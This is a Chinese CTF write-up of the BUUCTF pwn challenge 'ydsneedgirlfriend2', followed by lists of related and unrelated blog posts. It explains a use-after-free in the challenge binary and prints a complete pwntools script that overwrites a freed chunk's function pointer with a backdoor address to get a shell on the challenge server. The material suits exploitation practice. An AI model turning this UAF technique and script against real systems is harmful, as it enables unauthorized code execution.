[BUUCTF]PWN——[BJDCTF 2nd]ydsneedgirlfriend2
[BJDCTF 2nd]ydsneedgirlfriend2
步骤:
- 例行检查,64位程序,开启了canary和nx

- 试运行一下程序,看看大概的情况,经典的堆块的布局

- 64位ida载入,习惯性的检索程序里的字符串,发现了后门函数,shell_addr=0x400D86

4.找一下4个菜单选项的函数
add

dele

dele函数存在明显的UAF漏洞,关于UAF漏洞,具体的看这篇文章
https://my.oschina.net/u/4345478/blog/4656767
show

我们首先申请一块任意的内存,然后free掉,由于dele函数没有给指针置NULL,所以指向girlfriends这个数组的指针依然存在,接着我们在申请一块0x10大小的内存,那么系统就会将之前释放掉的0x10那一块给我们,此时我们就可以重写这一块的内容了。它一开始是puts函数,我们将他改为后门函数即可

from pwn import *
context.log_level="debug"
#r=process("./ydsneedgirlfriend2")
r=remote('node3.buuoj.cn',29537)
def add(size,context):
r.recvuntil("u choice :\n")
r.sendline(str(1))
r.recvuntil("Please input the length of her name:\n")
r.sendline(str(size))
r.recvuntil("Please tell me her name:\n")
r.sendline(context)
def dele(index):
r.recvuntil("u choice :\n")
r.sendline(str(2))
r.recvuntil("Index :")
r.sendline(str(index))
def show(index):
r.recvuntil("u choice :\n")
r.sendline(str(3))
r.recvuntil("Index :")
r.sendline(str(index))
shell_addr=0x400D86
add(0x10,'aaaaaaa')
dele(0)
add(0x10,p64(0)+p64(shell_addr))
show(0)
r.interactive()

[BUUCTF]PWN——[BJDCTF 2nd]ydsneedgirlfriend2的更多相关文章
- [BUUCTF]PWN——[BJDCTF 2nd]secret
[BJDCTF 2nd]secret 附件 步骤: 例行检查,64位程序,开启了canary和nx 本地试运行一下,看看程序大概的情况,好像是一个什么游戏 64位ida载入,检索程序里的字符串,发现了 ...
- [BUUCTF]PWN——[BJDCTF 2nd]r2t4
[BJDCTF 2nd]r2t4 附件 步骤 例行检查,64位,开启了canary和nx 64位ida载入,检索字符串的时候发现了后面函数,shell_addr=0x400626 main函数 可以溢 ...
- [BUUCTF]PWN——[BJDCTF 2nd]test
[BJDCTF 2nd]test 步骤 根据题目,ssh连接一下靶机 登录成功后,ls看一下当前目录下的文件,根据提示可知,我们没法直接获取flag字符串,但是我们可以读取test的源码, test. ...
- [BUUCTF]PWN12——[BJDCTF 2nd]r2t3
[BUUCTF]PWN12--[BJDCTF 2nd]r2t3 题目网址:https://buuoj.cn/challenges#[BJDCTF%202nd]r2t3 步骤: 例行检查,32位,开启了 ...
- [BUUCTF]PWN15——[BJDCTF 2nd]one_gadget
[BUUCTF]PWN15--[BJDCTF 2nd]one_gadget 附件 步骤: 例行检查,64位,保护全开 nc试运行一下程序,看看情况,它一开始给了我们一个地址,然后让我们输入one ga ...
- [BUUCTF]REVERSE——[BJDCTF 2nd]8086
[BJDCTF 2nd]8086 附件 步骤: 首先查壳儿,无壳,直接上ida,检索字符串,程序里就一个字符串 没法f5反编译出伪代码,大致看了一下汇编,start函数之后调用了sub_10030函数 ...
- [BUUCTF]REVERSE——[BJDCTF 2nd]guessgame
[BJDCTF 2nd]guessgame 附件 步骤: 例行查壳儿,64位程序,没有壳儿 64位ida载入,习惯性的检索程序里的字符串,看到了一串类似flag的字符串,拿去提交,成功 BJD{S1m ...
- BUUCTF pwn一分题目
因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...
- [BJDCTF 2nd]fake google
[BJDCTF 2nd]fake google 进入页面: 试了几下发现输入xxx,一般会按的格式显示, P3's girlfirend is : xxxxx 然后猜测会不会执行代码,发现可以执行 & ...
随机推荐
- PAT A1063——set的常见用法详解
set 常用函数实例 set是一个内部自动有序且不含重复元素的容器 (1)insert() (2)find() st.find(*it) 找到返回其迭代器,否者返回st.end() (3)size( ...
- [ccBB]Billboards
参考loj2265中关于杨表的相关知识 先来考虑$m\mid n$的情况: 记$t=\frac{n}{m}$,将序列划分为$[1,m],[m+1,2m],...,[(t-1)m+1,tm]$这$t$段 ...
- [loj539]旅游路线
考虑枚举加油的位置,当确定某次在第$i$个位置加油后,且下一次到$j$加油,那么$i$到$j$必然会选择不超过$c_{i}$条边且最长的路径,记作$d_{i,j}$ 如果能求出$d_{i,j}$,再设 ...
- generator函数与async/await
理解async函数就要先理解generator函数,因为async就是Generator函数的语法糖 Generator 函数 Generator 函数是 ES6 提供的一种异步编程解决方案,可以先理 ...
- 使用postman对elasticsearch接口调用
post 新增 get 查询 put更新 post http://127.0.0.1:9200/index4/type1 {"node":0} { "_index&quo ...
- watch异步操作
异步操作: 1.ajax, 2.定时器 3.点击事件 4.数据库操作 特点:代码不等待,后续代码会继续执行. watch:{ //watch作用监测已经存在的数据 newVal 新值,oldVal 旧 ...
- Linux下Zabbix5.0 LTS + Grafana8.2.2图形可视化
Grafana是一款开源的可视化软件,可以搭配数据源实现一个数据的展示和分析:Grafana功能强大,有着丰富的插件,但Grafana默认没有zabbix作为数据源,需要手动给zabbix安装一个插件 ...
- springboot与数据访问之jdbc
官网的starthttps://docs.spring.io/spring-boot/docs/current/reference/htmlsingle/#using-boot-starter 添加依 ...
- Linux生产应用常见习题汇总
1.如果想修改开机内核参数,应该修改哪个文件? C A./dev/sda1 (scsi sata sas,是第1块盘的第1个分区) B./etc/fstab (开机磁盘自动挂载配置文件) C./etc ...
- chown & chmod用法
chown & chmod 1. chown更改文件的属主&属组 NAME chown - 改变文件的属主和属组(change file owner and group) 用法 cho ...